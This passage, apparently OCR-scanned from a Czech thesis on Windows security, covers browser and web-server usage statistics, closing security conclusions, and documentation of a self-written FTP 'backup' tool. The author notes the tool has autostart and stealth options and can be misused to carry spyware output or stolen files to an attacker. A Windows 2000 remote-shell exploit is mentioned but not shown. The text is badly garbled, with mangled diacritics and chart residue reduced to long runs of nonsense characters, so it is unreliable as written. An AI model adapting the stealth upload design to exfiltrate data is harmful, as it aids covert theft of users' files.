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Druhym nejpouzivanéjS§im prohlize€em soucasnosti je internetovy prohlize¢ Firefox. Ten se

na pole webovych prohlizect probojoval pfiblizné v roce 2003.

Layout engine / web browser usage share
100%

90%
80%

D Othars
Wl Frasto (Opera 7+)
[] WebCare (Safari)

B Gecko (Mozilla, Firefox,
Matscape 6+, ale.)

70%
60%

. Tridant {Internat Explarar
Tor Windows)

I Hetscape Glassic
B Mosaic

50%
40%

30%
20%

10%

0%
1994 1995 1996 1997 1898 1999 2000 2001 2002 2003 2004 2005 2006

Druhy graf na obrazku 6.11.2 ukazuje pouzivanost internetovych prohlizecti v prvnim
ctvrtleti roku 2008. Celé tfi Ctvrtiny uzivatelli pouziva pro pfistup na internet prohlize¢ In-
ternet Explorer z dilny firmy Microsoft. Druhym nejpopularnéj§$im prohlizec¢em je Firefox,
ktery si oblibila téméf pétina uzivatell. Tretim nejuspésnéjsim prohlizeCem je prohlize¢ Safari
od firmy Apple. Tento prohlize¢ se t&€$i velké oblibé u uzivateli operacniho systému

Mac OS X.

Usage Share of Web Browsers: Q1 2008

0,45%
0,65%

0,66%

o Internet Explorer
W Mozilla Firefox
m Safari

M Opera

o Netscape

m Mozilla suite

m Other

Z téchto statistik je moZné odhadnout do jaké miry je pouZivan systém Windows k pfi-

stupu k internetu. Microsoft Internet Explorer lze spustit pouze z operacniho systému
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Windows, tudiz vSichni uzivatelé kteti prohlizi web s Internet Explorerem pravdépodobné
Windows pouzivaji. K tomu je mozné ptipocist také urcitou ¢ast uzivateli, ktefi upfednostiuji
prohlize¢ Firefox, protoze tento prohlize¢ je urcen jak pro Linux, tak pro Windows. Z tohoto

usudku vyplyva Ze vice nez 75 % uZivatell internetu pouziva operacni systém Windows.

6.12 Pouzivanost os k provozovani serveru

Grafy vyjadiuji pouzivanost software k provozovani webovych servert. Jiz dlouhou
dobu mezi sebou vedou souboj dva nejoblibenéjsi produkty, jeden je z dilny Microsoftu jmé-
nem IIS®, druhy se jmenuje Apache a je mozné jej provozovat na dvou nejvyznamnéjsich
platforméch, platformach Linux a Windows. Grafy se opiraji o vysledky ankety, kterou

pravidelné provadi spolecnost Netcraft, jejiz internetové stranky jsou k nalezeni na interne-

tové adrese http://news.netcraft.cony/.

Prvni graf na obrazku 6.12.1 zkouma obdobi let 2001 az 2007. Z grafu je patrné Ze po-

et serveri se rok od roku zvySuje. V roce 2006 a 2007 byl zaznamenan prudky narist poctu

serverovych systému firmy Microsoft.
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Druhy graf na obrazku 6.12.2 vyjadiuje pocty webovych serverii mezi roky 1996 a

2008 v procentech. Od roku 2006 za¢ina nartst poctu nasazeni produktd firmy Microsoft. Pti

9 1IS (Internet Information Server).
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zkoumani grafu je tfeba pfihlédnout k faktu Ze webovy server Apache l1ze provozovat na

platformé Linux, ale také na platform¢ Windows.

Bﬂz m— Apache
= Hicrosoft
Sun
= lighttpd
— Google
NCER
= Other
d0d

L

b

L o b . I v o o e A N Y NN Y I e e N~ o= N o I o IO L o Y O N v
L o o e = s s e s = s s e el == s s s e
L e O T = e e o o = e e o e e e
o e B B I T T I B Y I S S e B e I A I R I e I o A e L
e = o 24 o 4 o 4 C = o = o =4 ° - 2 —~ - —~ o — ° -~ 9o
s 5 &o 3 o I Om I oo I on IS oo IS OM I3 om S On IS 6 IS Om I MmO
= T T OTY O OTR OTDRS O OTRRDTSDOTRDYTSD TR OTYSDOTRYS O OTRRES TSRS OTRYS O OTRS TR OTRESOTRSTSOTRYSOTYS O OTRoTwoTmo o, il

Ob¢ technologie provozovani serveru jak IIS, tak Apache jsou hojné rozSiteny a
provéieny Casem. Server Apache je k dispozici zdarma a je moZné jej provozovat pod Li-

nuxem, ale taktéz pod Windows, coz mu dava jistou vyhodu.

7 ZAVERECNE ZHODNOCENI BEZPECNOSTI
WINDOWS

Operacni systém Windows je jiz dlouho velmi oblibenym a roz§ifenym operacnim sys-
témem. Stejn¢ jako vSecky programy a operacni systémy, také operacni systémy Windows ob-

sahuje programové chyby. Tyto chyby lze riznym zpilisobem zneuzit a docilit tak

nestandardniho chovani systému.

Spravnou konfiguraci, dodrzovanim bezpecnostnich zdsad a pravidelnymi a ¢astymi

aktualizacemi lze minimalizovat pocCet zneuzitelnych chyb a zvysit bezpecnost tohoto ope-

ra¢niho systému.

Na rozdil o dob pocitacovych zacatkd, kdy tvirci operacnich systému piili§ nepted-
pokladali moznost napadeni jejich systému, se postupné prikladal vétsi diiraz na bezpecnost a

v dnesni dob¢ se stal dillezitym hlediskem v hodnoceni kvality opera¢niho systému.
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Windows Vista obsahuje mnoha vylepseni oproti svym piedchiidcim. V oblasti bez-

pecnosti urazila velky kus cesty Windows Vista novymi technologiemi, které s sebou ptinasi,

wevr

8 PROGRAM SEARCH & UPLOAD

Search & Upload je konzolovy zalohovaci nastroj. Program po spusténi vyhleda sou-
bory podle vyhleddvacich masek zadanych v konfiguraénim souboru, nasledné je zkompri-
muje metodou zip do archivu a nakonec odesle na FTP server, ktery je taktéz zadany v

konfigura¢nim souboru. Program podporuje plné zalohovani.

V soucasné dobé existuje nepteberné mnozstvi programi, které vykonaji néjakou
¢innost a jeji vysledky ukladaji do soubort. Mize se jednat napiiklad o textové, tabulkové,
nebo grafické editory, programovaci nastroje, nebo soubory, do kterych postovni klient uklada
postu. Mnohdy jsou pro nas tyto soubory velice diilezité a proto chceme mit jejich kopii zélo-

hovanou na jiném pocitaci pro piipad ze o primarni kopii pfijdeme.

ProtoZe tyto programy v sob¢ nemaji zabudovany automatizované zalohovaci nastroje,
je nutné vyuzit nastroje vyvinuté specialné pro tvorbu zaloh. Program Search & Upload je
konzolovy program a slouzi k automatickému zalohovani libovolnych soubort na FTP server.
Zalohovaci proces probéhne bezprostfedné po startu programu. Program Search & Upload
mize vSak byt zneuZzit pro odesilani soubori vygenerovanych spywarem, nebo keyloggery,
nebo jinymi programy slouzicimi ke sledovani aktivit uZzivatele, jakymi jsou naptiklad

programy typu watchdog.

8.1 Popis funkce

Program po svém spusténi vyhleda a nacte hlavni konfigurac¢ni soubor, ve kterém jsou
uloZeny hodnoty které ovliviiuji chovani programu. Druhym konfiguracnim souborem je sou-
bor, ktery definuje které soubory budou zalohovany. V hlavnim konfigura¢nim souboru Ize
nastavit zda se ma program spoustét automaticky po prihlaSeni uzivatele (polozka autostart),
zda se ma spustit ve skrytém rezimu (polozka stealth), interval opakovani zalohovaciho proce-
su v minutach (polozka periodasearch, periodaupload) a udaje FTP serveru, na ktery se ma za-
loha pfenést (polozka ftpserver, ftpuser, ftppass). Pro moznost pouziti zalohovani vice
pocitaci na jeden spole¢ny FTP sever je v hlavnim konfiguraénim souboru definovéna jesté

jedna hodnota (polozka machineprefix), kterd urcuje ze kterého pocitace zaloha pochézi. Tato
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hodnota je pfiddna na zacatek kazdého souboru pfed odeslanim na FTP server. Ve druhém
konfiguratnim souboru jsou ulozeny udaje o zalohovanych souborech. Pro kazdou zalo-
hovanou slozku lze nastavit filtr pro soubory, které¢ budou do zalohy zahrnuty. Pouzivat lze
zastupné znaky otaznik a hvézdicku. Urcit Ize také hloubku, do které se bude adresatrova
struktura prohledavat. Jednotliva pole jsou oddélena specialnim znakem svislou ¢arou. Jméno
konfigura¢niho souboru je data\settings.txt a jméno druhého konfigura¢niho souboru je

data\search.txt

8.2 Programatorska dokumentace

Program je pséan z Casti objektove, z ¢asti funkcionalné. Funkei bylo pouzito zejména z
nedostatku Casu. V pribéhu psani programu byl kladen diraz znovupouzitelnost kodu a

snadnou rozsifitelnost programu.

8.2.1 Nejzajimavéjsi funkce a tridy

Jednou z nejzajimavéjSich tiid programu je ttida CFileUNICODE, kterd umoZiiuje po-
hodlné nacitat a zapisovat textové fetézce ve formatu UNICODE (véetné diakritiky a na-

rodnich znaki) do souboru.

Dalsi velmi uzitecnd tfida se nazyva CSettings a vyuziva tfidu CFileUNICODE. Tato
tfida umoznuje velmi snadno ptidavat, odebirat a modifikovat polozky konfigura¢nich soubo-
ra. V jeji clenské metodé getSettings je oSetfena inicializace proménnych implicitnimi

hodnotami, pokud hledané polozka neni v konfiguraénim souboru definovana.

Funkce s ndzvem compressFilesToFile slouzi ke komprimaci souborit metodou zip. Ke
své ¢innosti vyuziva tfidu jménem HZIP, kterd predstavuje elegantni zplisob komprimace sou-
bort. Tato tfida podporuje vytvaieni Sifrovanych zip archivi. Zdrojovy kod této tridy je

dostupny na internetové adrese [27].

Ve funkci genSoubFileList je implementovano rekurzivni vyhledavani soubor na

pevném disku. Tato funkce je implementovana pomoci standardnich algoritmu.

Pomoci funkce fileUpload je mozné ukladat soubory na FTP server. Tato funkce vyu-
ziva funkci CftpConnection z knihovny MFC'. Spojeni je implementovano synchronnim zpu-

sobem. Tato funkce je vyuZivdna funkci fileUpload withRetry. Tato zdokonalend verze

10 MFC (Microsoft Foundation Class).
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funkce fesi docasnou nedostupnost FTP serveru. Funkce opakuje pokus o pfipojeni k FTP
serveru v pravidelnych intervalech, dokud neni tento pokus Uspé$ny. Tato funkce je opét vola-

na synchronné¢.

Provadéné operace jsou zaznamenavany pomoci funkci log a logTF do log souborti.
Druhd zminéna funkce miize byt s vyhodou vyuzita pokud je tfeba do logu zapsat rizné
hodnoty v zavislosti na vysledku sledované operace. Vyhoda spocivd ve zjednoduSeni

zdrojového kodu.

8.2.2 Planovana vylepseni programu

Stavajici verze programu je plné¢ funkéni a ptedstavuje jedno z moznych feSeni zélo-

hovani souboru na FTP server.

Program by mohl byt rozsifen o dals$i metody zalohovéni. K jejich implementaci by
mohlo byt vyuzito kontrolniho souc¢tu zalohovanych souborti pro detekci zmény v obsahu
soubort. Takovy zptlisob by byl vyhodny zejména pfi soucasném pouzivani programu Search
& Upload a jin¢ho zalohovaciho software, ktery vyuziva ke své zédloze atribut souborti ar-

chivovat.

Dal8im vylepSenim programu by mohlo byt zlepSeni bezpecnosti zalohovanych soubo-
ri pomoci Sifrovaného archivu. Tato vlastnost je diilezitd zejména pti zalohovani na nedive-

ryhodny FTP server.

Protoze vétSina komplikaci je vyfeSena po analyza logu, dalsi vylepSeni by mohla byt
provedena v oblasti zaznamenavani informaci do logii. Zaznamenavané informace by mohly

byt podrobné;jsi.
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9 SHRNUTI

Cilem této prace bylo poukazat na hrozby skryvajici se ve skodlivych programech a

ukazat zakladni metody jak se proti t€mto programim branit.

Prace obsahuje zakladni metody utokii na operacni systém Windows, ukazuje nasledky
zneuziti chyb tohoto operacniho systému a vyzdvihuje nutnost aktualnosti systému a spravné
systémové konfigurace a konfigurace sluzeb v systému spusténych. Soucasti jsou doporuceni

bezpecné konfigurace systému a zdkladni bezpecnostni pravidla.

V ramci prace byl proveden UspéSny pokus zneuziti chyby v operacnim systému
Windows 2000. Vysledkem tohoto pokusu bylo ziskani vzdalené¢ho piikazového tadku s

pravy spravce systému.

Jako soucast této prace byl vytvoren pocitacovy program Search & Upload, ktery je
primarné urcen k zdlohovani soubori na FTP server, ale mize byt taktéz zneuzit k pienosu

citlivych souborti z napadeného systému do rukou uto¢nika.

Vysledkem této prace je zhodnoceni bezpecnosti operacnich systémt Windows.
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Pfiloha A

Vyskyt chyb ve Windows v ¢asovém horizontu
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Piiloha B

Osetrenost objevenych chyb
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Mozny dopad chyb

Piiloha C
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Ptiloha D

Misto odkud je mozné chyby zneuzit
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Piiloha E

Zavaznost objevenych se chyb
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